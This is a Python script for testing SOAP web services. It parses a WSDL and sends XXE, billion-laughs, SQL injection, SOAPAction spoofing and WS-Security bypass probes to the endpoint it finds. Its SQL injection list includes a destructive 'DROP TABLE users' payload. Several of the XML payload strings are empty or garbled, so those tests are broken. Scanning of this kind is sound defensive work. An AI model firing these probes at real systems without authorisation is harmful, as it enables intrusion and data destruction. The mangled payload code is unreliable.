#!/usr/bin/env python3 """Agent for security testing SOAP web services. Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection, SOAPAction spoofing, and WS-Security bypass vulnerabilities. """ import json import os import requests import sys from lxml import etree SOAP_NS = { "wsdl": "http://schemas.xmlsoap.org/wsdl/", "soap": "http://schemas.xmlsoap.org/wsdl/soap/", "soap12": "http://schemas.xmlsoap.org/wsdl/soap12/", "wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd", } class SOAPSecurityTester: """Tests SOAP web services for common vulnerabilities.""" def __init__(self, wsdl_url, endpoint_url=None): self.wsdl_url = wsdl_url self.endpoint_url = endpoint_url self.operations = [] self.findings = [] def parse_wsdl(self): """Fetch and parse the WSDL to extract operations and endpoint.""" resp = requests.get(self.wsdl_url, timeout=30) resp.raise_for_status() root = etree.fromstring(resp.content) if not self.endpoint_url: addr = root.find(".//soap:address", SOAP_NS) if addr is not None: self.endpoint_url = addr.get("location") for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS): name = binding_op.get("name") soap_op = binding_op.find("soap:operation", SOAP_NS) action = soap_op.get("soapAction", "") if soap_op is not None else "" self.operations.append({"name": name, "action": action}) return self.operations def _send_soap(self, body_xml, soap_action="", timeout=10): headers = {"Content-Type": "text/xml; charset=utf-8"} if soap_action: headers["SOAPAction"] = soap_action return requests.post(self.endpoint_url, data=body_xml, headers=headers, timeout=timeout) def test_xxe(self, operation_name): """Test for XML External Entity injection.""" payloads = [ ("Classic XXE file read", f']>' f'<{operation_name}>&xxe;' f''), ("Billion Laughs DoS", f'' f']>' f'' f'<{operation_name}>&l3;' f''), ] results = [] for name, payload in payloads: try: resp = self._send_soap(payload, timeout=10) vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5 if vulnerable: self.findings.append({"severity": "CRITICAL", "type": "XXE", "operation": operation_name, "test": name}) results.append({"test": name, "vulnerable": vulnerable, "status": resp.status_code, "time_s": resp.elapsed.total_seconds()}) except requests.RequestException as exc: results.append({"test": name, "error": str(exc)}) return results def test_sql_injection(self, operation_name, soap_action=""): """Test SOAP parameters for SQL injection error disclosure.""" sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--", "' UNION SELECT NULL--", "admin'/*"] results = [] sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation", "Microsoft OLE DB", "PostgreSQL"] for payload in sqli_payloads: body = (f'' f'<{operation_name}>' f'{payload}' f'') try: resp = self._send_soap(body, soap_action, timeout=15) error_found = any(e in resp.text for e in sql_errors) if error_found: self.findings.append({"severity": "CRITICAL", "type": "SQL Injection", "operation": operation_name, "payload": payload[:30]}) results.append({"payload": payload, "sql_error": error_found, "status": resp.status_code}) except requests.RequestException: continue return results def test_soapaction_spoofing(self): """Test whether mismatched SOAPAction headers are accepted.""" results = [] for i, op in enumerate(self.operations): for j, other in enumerate(self.operations): if i == j: continue body = (f'' f'<{op["name"]}>

test

' f'
') try: resp = self._send_soap(body, other["action"]) if resp.status_code == 200 and "Fault" not in resp.text: self.findings.append({"severity": "HIGH", "type": "SOAPAction Spoofing", "operation": op["name"], "spoofed_action": other["action"]}) results.append({"op": op["name"], "spoofed": other["action"], "accepted": True}) except requests.RequestException: continue return results def test_ws_security_bypass(self): """Test whether requests without WS-Security tokens are accepted.""" if not self.operations: return [] op = self.operations[0] body = (f'' f'<{op["name"]}>

test

' f'
') try: resp = self._send_soap(body) accepted = resp.status_code == 200 and "Fault" not in resp.text if accepted: self.findings.append({"severity": "CRITICAL", "type": "WS-Security Bypass", "operation": op["name"]}) return [{"test": "No WS-Security header", "accepted": accepted}] except requests.RequestException as exc: return [{"error": str(exc)}] def generate_report(self): report = {"target": self.endpoint_url, "wsdl": self.wsdl_url, "operations": len(self.operations), "findings_count": len(self.findings), "findings": self.findings} print(json.dumps(report, indent=2)) return report def main(): wsdl = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("SOAP_WSDL_URL", "http://localhost:8080/ws?wsdl") tester = SOAPSecurityTester(wsdl) tester.parse_wsdl() for op in tester.operations: tester.test_xxe(op["name"]) tester.test_sql_injection(op["name"], op["action"]) tester.test_soapaction_spoofing() tester.test_ws_security_bypass() tester.generate_report() if __name__ == "__main__": main()